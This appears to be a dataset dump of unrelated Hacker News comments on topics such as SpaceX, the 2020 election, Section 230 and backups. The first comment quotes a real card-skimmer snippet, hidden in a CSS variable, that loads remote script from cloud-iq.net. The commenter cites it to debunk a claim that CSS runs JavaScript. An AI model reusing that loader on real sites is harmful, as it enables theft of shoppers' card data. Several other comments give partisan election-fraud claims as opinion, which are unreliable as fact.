skysight-inc/HackerNews huggingface dataset:
"One of the recent additions to the CSS language was a feature that would allow it to load and run JavaScript code from within a CSS rule."

From the image by SanSec:

:root {
--script: setTimeout(function(){jQuery.getScript("https://cloud-iq.net/pub/map.js")},3000})
}

AFAIK There is no way to run JavaScript from within a CSS rule or from CSS file except (†) and w3.org cares about it (††).

Thist article is misinforming. Better link would be: https://www.bleepingcomputer.com/news/security/credit-card-s...

JavaScript from within a CSS rule has only the code hidden in the --script property but there is no feature in CSS language which would allow to run it - and there is another JavaScript needed, which is already started, to be able to get that code (using functions getComputedStyle and getPropertyValue) and execute it.

.

(†) https://stackoverflow.com/questions/476276/using-javascript-... notices only two ways of doing it:

XBL with Firefox - which is safe, and

HTC with IE - using a CSS rule like so: body { behavior:url(script.htc); } which is old vulnerability not supported any more in up-to-date browsers.

.

(††) https://www.w3.org/TR/css-ui-3/#security-privacy-considerati...:

6. Does this specification enable new script execution/loading mechanisms?

Yes to loading, but not to execution. The cursor property accepts <image> values which may include URLs to be loaded. These may be SVG documents which may contain scripts, but this specification requires that scripts must not be run.
It uses electric spark igniters.
Exploiting the hidden attack surface of interpreted languages
And you're responding to his shifting argument.
Unfortunately, if you were watching the livestream it was actually just 2 shots of the same booster (although later videos fixed that mixup)
"But don't ever take Viagra (I don't know about Cialis) with MDMA alternatives like 6APB - that's supposed to be a particularly cardiotoxic combination."

In general, combining drugs is a bit like playing Russian Roulette. Very few such combinations have been thoroughly studied (or sometimes not studied at all), so people rarely have any idea what effects these combinations will have long-term, or sometimes even short term.

Mostly, people take them based on rumors, hearsay, and anecdotes, which is kind of sad. They've heard some random guy on the internet say it was a good combo, or their buddy told them it worked for them, and somehow in their mind that makes it a good idea to try it.
Article 1, §9 specifically forbids the Congress from passing any ex post facto laws, and §10. does the same for the states. Since the FTC already gave consent the first time around, this hinges on whether the FTC as an independent agency is considered a proxy for Congress. Note that the attorney generals' separate suit does not have this concern.
And that's never going to happen.
I'm likely banned from HN now from all the downvotes I received for the perfectly legit response, yet some people appear to not like facts so much that they just downvote to censor (which HN does).
but should our legal system prosecute those hackers that didn't break any law on the books? I'd argue they shouldn't - sure some of the bad guys get put away, but so to do good* guys because of the legal precedent being followed

*good as being defined as likely a net positive value on society similarly bad as being defined as a net negative for society
Well, if all you want is going to Mars ASAP, this is less of a hurdle than it seems.
> (hydroxy)chloroquine...

https://www.sciencedirect.com/science/article/pii/S092485792...
If it doesn't succeed, expect more of the same from FAANG. Until we have FANG, then FAN, then FA, then just F.
> This is a spurious criticism. Websites are already liable for any illegal content they host if they don't make a good-faith effort to have it removed quickly. Fake news isn't illegal, this isn't something that would be improved by rescinding section 230.

I'm not suggesting that all harmful content is illegal. I'm saying they can choose to spread baseless conspiracy theories when it benefits them with no legal consequence, but they can remove anything they like because they don't want to promote it while calling it a baseless conspiracy theory, also with no consequence. This is an extremely influential position that is created by law and gives them extraordinary latitude at shaping perceptions.

> This has no practical meaning because literally anything can be framed as political issue. For example, the efficacy of masks and vaccines.

Well those are political issues. I agree that "literally anything" can be framed as political, I don't agree that my criticism lacks practical meaning as a result. We don't like people discriminating on the basis of certain categories. I think political opinions are one of the categories. You may not, we can discuss this.

> Protected classes are the few exceptions to the rule, the burden is on you to explain why politics should be added to the list.

Gladly. Its unfair for people to discriminate on the basis of race, sex, gender, marital status, sexual orientation, religion. Because we think that all of those are aspects of being human that people shouldn't be punished for by refusal to hire or sell to. Political leanings are often matters of conscience, religion, gender identity, sexual orientation, race, or sex. Political freedom involves the freedom to hold unpopular opinions. Permitting someone to discriminate their provision of services on the basis of someone's gay marriage is just as offensive as permitting them to discriminate on the basis of someone's support for the legality of gay marriage.
Is the dropoff at the end surprising given COVID and travel restrictions?
Elon tweeted it wasn't an engine failure but the fuel pressure was too low.
It is true isn't it ?

It is not indoctrination, in that it comes from a sincere place. However, it does tend to construct a story that is reviewed and conceived entirely by liberals. This is by the very nature of academic research and the people who inhabit it. Especially in non-STEM fields where truth is a very subjective matter.

A clearer example is Economics, where people from certain schools of thought will actively consider what is taught at other schools as indoctrination. People can't even agree on the core axioms of their field.

We are already seeing a lot of weakly researched topics being pushed around as truths, because believing otherwise does not align with the political goals of the institution.
The Web started mirroring the real world when money got involved. It could have been the way you said, had it only been a place to share information, but it is now primarily a marketplace, and no govt or pvt entity has EVER not regulated or attempted to seize control over marketplaces. In fact, even the pure information sharing part is being increasingly censored under the pretext of "security" and children and so on...
Totally agree. Just posted my own question here: https://www.pcwrt.com/2020/12/oblivious-dns-over-https-vs-do...
Yeah I thought they might do the same kind of 'pretend to land' hover over the water the first time, but no!

Maybe because they want to be able to keep it for posterity if it makes it - or launch it again!
Well, that was a wild ride, interesting to see non-liberal political views on HN (although I see the inevitable "hurr durr Nazi fascist" downvotes are already coming in). This bit in particular resonated:

In contemporary American discourse a word like "racism" has as much connection to phenomena in the real world as "Trotskyite" had in Russia under Stalin. So if someone says "You're a racist!" and you respond "I'm not a racist because X and Y and Z" you have already lost because you have implicitly conceded that there is this thing out there called "racism" which is really big and bad and scary, and one that your enemies get to define for you. And it doesn't matter that your X or Y or Z may be absolutely correct. You still lose by dignifying the accusation e.g. ("I am not part of the Trotskyite conspiracy!"). The entire thing is transparently preposterous and should be responded to appropriately, with laughter and derision.

And let's face it, we are so eager to say "I'm not a racist!" because we're afraid of what will happen to us if we don't. And people can smell fear, and it's unattractive. Be not afraid!
> doesn't prevent me from causing this feeling in others

Can I ask for an example? If can be presented anonymously

> I don't think any of these studies are able to easily "detect" me

I agree. Is it a bit weird that the researchers didn't add any notes about this

(Or if they did i didn't see that)
1. "Unlimited" plans marketed for personal users are unsustainable, which is why they invariably push you into some proprietary app. Sure they might let you dump 24TB on it while they're growing, but they'll inevitably tighten that up. And a key feature of backups is long term - do you really want to be reuploading 24TB in a year or two? Look at their business pricing for the actual no-nonsense cost.

2. You can build a 8TBx4+2 raidz2 with EasyStores for $720. Backing that up to a raidz1 zfs.rent is $1200 for a single year. $2500 for 3 years by prepurchasing the drives.

An estimate of $1000/year for full cloud backups isn't wrong.
But the product provides real value to real people today, why disrupt this? Also weren't these companies free to not accept an acquisition?
An important distinction, granted.

Although my quote rather questions whether there is always something to balance in the first place. If you try to find the middle ground between truth and a blatant, confident lie that was pulled from thin air to sow doubts on that truth, you get a half-lie — or truth casted in doubt, which was exactly what the lie was made for.

Find a fringe case about a dead body voting and you can sow doubts about a whole election. Call out a politician lying once and suddenly it does not matter anymore whether you are lying every day to the casual onlooker.

I am absolutely not sure whether censoring such content is the right answer, but I'm pretty sure providing an open microphone and an uncontrolled echo chamber to narcisstic sociopaths backed by Wall Street interests and foreign bot armies isn't either.
Prior to docker some common patterns were to rsync the files up to each server, or compress the files to .tar or .zip on a build server, rsync it to the servers and then uncompress into your desired directory.
No serious person with an interest in politics respects the state-sponsored news outlets of Russia or DPRK, but okay.
Ironically the Electoral College was designed in part to protect against populist lunatics like Trump, but it's he who has benefited from it.
The Trump team did take this to court before the election, but they were denied on the basis of the "injury" only being hypothetical at that time...

So they couldn't successfully sued before, and now they are told that its too late. Something very dishonest from the courts about that.

Your own personal anecdote confirms that people's signatures change overtime. Hence more should have been rejected.
The Hunter Biden story was such an embarrassingly obvious piece of kompromat that it would have irresponsible to run with it just because the Trump campaign tried to push it out there. The reason why several major media outlets ignored the story is that they didn't want to play ball this time. They have written about this. They don't have an obligation to present strategically-crafted stories as if it were real news.

Do you think Trump is throwing pardons around just for shits and giggles? This is the first time ever that a US president has been using pardons as get-out-of-jail-free cards for his friends and allies. And he's throwing them around because he has a habit of associating himself with criminals who commit crimes (on his behalf) and therefore need pardons.

Trump wants to pardon his family, Giuliani, and potentially even himself. Which would not make the slightest bit of sense unless they had committed serious crimes. And if you argue that he wants to use the pardons to prevent those pesky democrats from setting him up, I want you to imagine a scenario where Biden was doing the exact same thing.

Biden and Harris will be scrutinized in much the same way presidents and their VPs have been traditionally. Trump is an anomaly.
People just looking for food will get them at a lower price.

People go to the restaurant for the restaurant and everything with it will still go to the restaurant.

It's an entirely different market, the segmentation of which DoorDash enabled.
Can a consumer buy this data? I suspect I'm getting too many bushings and brake rotors but haven't kept track.
I unfortunately did not find a good field to sort by in the original dataset. So it's just sorted by text match relevance scores, then the order that they appear in the dataset.
That's why you statically link musl C
1) As a California LLC, it is unlikely that Ycombinator has a legal obligation to comply with a European data law. Under California law, though, you do have the right to request deletion of your personal information if you are a California resident: https://www.ycombinator.com/legal/.

2) Legal responsibility aside, if you email hn@ycombinator.com with your request they are likely to help you do whatever you would like. I think you are better off phrasing it as a polite request, though, rather than a veiled legal threat.
Yes, to think that somebody might have doubts that the most ideologically contentious election in modern history, wherein both sides perceived the opposition to be an existential threat to their lives or lifestyles might have on any scale been marred by political actors attempting to fix the results in their favor is a sign that people are too irrational to be exposed to the idea going forward…
There are many good reasons to preserve institutions such as private property and the legal infrastructure surrounding its disposition. I imagine rayiner's father's question had those in mind.
That's a good point, and I should probably be thinking about Mello Roos in terms of percent of property value or something.

It's a ton off money either way, although I guess not surprising in Playa del Rey.
129 books in one year is quite something. Is reading part of your job? I felt like I spent a decent amount of my free time reading this year, but I’ve completed only 23 books so far.

A very strong input into my book choices is reading the ‘classics’ in various domains. I will make frequent use of “Top 100 X books in Y” and “best X book of all time” queries.

I very much subscribe to the idea that selected books form a cultural and intellectual endowment of society to its members. Reading these selected books allows me to competently participate in society, as so much of our communication, institutional structure, and culture is downstream of these works. Examples of such works would be Shakespeare, Dickens, Silent Spring, The Intelligent Investor, Manufacturing Consent, Plato’s Republic.
Its spark ignited. No hyperglos
I feel like we have too much innuendo flying around these days.

What are you talking about?
If you watch the last few frames, it looks like the ship indeed landed. From the perspective that for a split second the entire vehicle was upright and in touch with the ground, that is. I’m not one to be a pedant, but you can claim a landing if you squint at it long enough.
You're right of course. I recall in 2004 some people complaining about Bush stealing Ohio. I was living in Ohio in 2004, and I voted for Kerry, but even I thought those accusations were a bit silly at the time.

I think it just underscores the responsibility for platforms to not allow obvious misinformation to spread because it does erode faith in democracy.
i know they got the data they needed/wanted but can you really call it a success with that ending?

on a side note: how much money do they lose whenever they have a crash landing like that?
> in the US, pornographic images are only restricted when they document someone being abused

I don't think this is true. Since "child" means anyone under 18, "child porn" therefore includes teenagers sexting their boy/girlfriends; some of those relationships could be called abusive, but surely many could not be, unless you think a teenager taking pictures of him/herself is inherently (self-)abusive. But I'm sure no internet content moderation policy, nor likely any police raid, would look into the background of a nude picture of a 14-year-old and determine that no abuse was involved and therefore the picture is permissible.

See https://pubmed.ncbi.nlm.nih.gov/22144707/ . "The cases involved "youth-produced sexual images" that constituted child pornography under relevant statutes according to respondents. ... US law enforcement agencies handled an estimated 3477 cases of youth-produced sexual images during 2008 and 2009 ... Two-thirds of the cases involved an "aggravating" circumstance beyond the creation and/or dissemination of a sexual image. In these aggravated cases, either an adult was involved (36% of cases) or a minor engaged in malicious, non-consensual, or abusive behavior (31% of cases). An arrest occurred in 62% of cases with an adult involved, in 36% of the aggravated youth-only cases, and in 18% of the "experimental" cases (youth-only and no aggravating elements)."
No such law is needed, at least in this case. This guy is up to his neck in lawsuits and the only reason he isn't cooling his heels in a Copenhagen jail is that he's on the run in Dubai
I'm using vercel/pkg as well. I have a Node.js server which generates HTML and opens a browser on Windows which then asks the server for that html at 127.0.0.1.

So browser will be my GUI and Node.js packaged with vercel/pkg my back-end. It is more flexible than say Electron because GUI can be anything I want it to be.

My concern is only will users accept a local server running on their desktop. I've tried to configure the executable so that the server accepts connections only from the same host as where the http-requests are coming from.

I assume the same situation would exist with Denon, if you build a product with it and want to use the browser as your front-end. Are users OK with a server running on their PC?
Sure, that doesn't make it written poorly. But it is written poorly.
How did Trumpian doublethink penetrate so deeply into the likes of HN readers? I can only assume it's various "skeptic" podcasts and the like.
I actually think SN9 is going to be at least launching from a different stand. Perhaps also landing on a different pad.
Billions of devices shipped every year.

https://archive.is/LQFZu

BTW, "Retina" doesn't necessarily mean OLED either. It's a trademark that Apple has applied to more LCDs, as recently as the iPhone 11.

https://www.apple.com/iphone-11/specs/
But what if they are?
This isn't up for debate. In economic terms, socialism is what the left looks like.

Do you see anything that looks like "socialism" coming from the democratic party in the united states?
That really doesn't seem like that hard of a thing to answer. E.g. just look at Facebook: name the #2 broadly "generic" social network. Is there really any other alternative here, at all? It really was a winner take all effect here, evidenced by the fact that all their former competitors are basically dead. Same thing with Instagram - anyone remember Hipstamatic?
As a young person (21), I feel the same way. Space exploration and a beautiful future suddenly seems achievable with hard work and a lot of engineering instead of just feeling impossible.
Probably waiting until employees of worldwide companies return from the various global holidays.

Disclaimer: I am an Adobe employee, but have no insider information about this.
Similar story from my high school history education. We had a good focus on historography and understanding the nature of different types of sources.

I feel as though things like this are not valued as they could be in our wider education system, or at least in what society values in the education system.
This site seem have the most up to date numbers.
"Rejected absentee/mail-in ballots as a percentage of total absentee/mail-in ballots returned, 2016-2020"

Georgia 2016 6.42%

Georgia 2020 .60%

Source
https://ballotpedia.org/Election_results,_2020:_Analysis_of_...

Which cites the official Georgia election website as source of the raw data.
Not much different from early work on Falcon 9 landings -- the Grasshopper test rig and F9R-dev-1 prototype both did a bunch of land-to-land hops (the last being the crash that destroyed F9R-dev-1 after an engine failure) before they transitioned to attempted water landings from orbital flights
> Your headline salary in the Us is higher but disposable income is often lower.

At $45,284 the US has the highest household net disposable income per capita in the OECD (http://www.oecdbetterlifeindex.org/countries/united-states/), where "disposable income" (http://stats.oecd.org/glossary/detail.asp?ID=46) accounts for healthcare and government benefits.
People want different things. This reads to me like why date if you’re not gay and also your own type.
I'm an ADHD person who is tired of being trapped by the doomscroll, but like the idea of sharing random thoughts with some friends. Sometimes I just want to write something, but without receiving instant feedback, and I think Typefully will be very useful in these moments. Thank you!
It says something about what they have done for rocketry when crashes on landing are note worthy. No one else even tries what they do normally without issue.
There have always been a lot of those, cooking group meals, lunches for cooperation/events. It's always there, just DoorDash enabled those kitchens to take individual customers, which would have only been possible with a storefront, before the time of digital delivery service.
1. Hacker News, Reddit

2. Recommendations from public figures I trust (e.g., Tim Ferriss, Derek Sivers, others)

3. References in books I've read

4. Random references in conversation
> But FB, IG and WhatsApp are clearly separate products, all very much monopolies in their markets

A lot of companies are like that, one could think that it's "easy" to split up Google Maps from Gmail and Google Calendar, or Office 360 from Azure and Windows, or Salesforce and Slack and ...
Most of the data you can access through the API is public anyway. You could as well scrape it off the website, API just provides it in a more convenient format. For example, you're able to get profiles and friend lists and posts of arbitrary people, as long as they're publicly visible, without real authentication (but you do need a "service token" you get on the app settings page).

The worst thing to ever happen with that open data was that some debt collection agencies used it to threaten people and their friends, and I believe that's why those service tokens were introduced. And that story was rather widely publicized: https://www.the-village.ru/business/finance/217569-banki-pis... for example.
I think the article is itself an example of broadly correct but for the wrong reason.

the problem with the argument from first principles that the article attempts to refute, is that the "first principles" given carry an implicit assumption that the minimum viable product is a a null product.

If in reality the mvp or, later, the infrastructure for growth take more to create than the resources you command, you need to raise capital.

The "first principles" also ignore time to market and competitive pressures. They are more "spherical cow on a frictionless plane" principles than actually useful ones.
Wow, I'm really thrilled about this. Around 2014, I had a concept for a recipe app that I wanted to build to scratch my own itch: unit conversions, integrated timers, parallel flows (do X while Y). I had been hoping to work with an annotated recipe corpus to facilitate some of the work, but after some research, I couldn't see how to pursue it meaningfully given my time and budget. I might have to pull that idea out of the heap of abandoned projects now.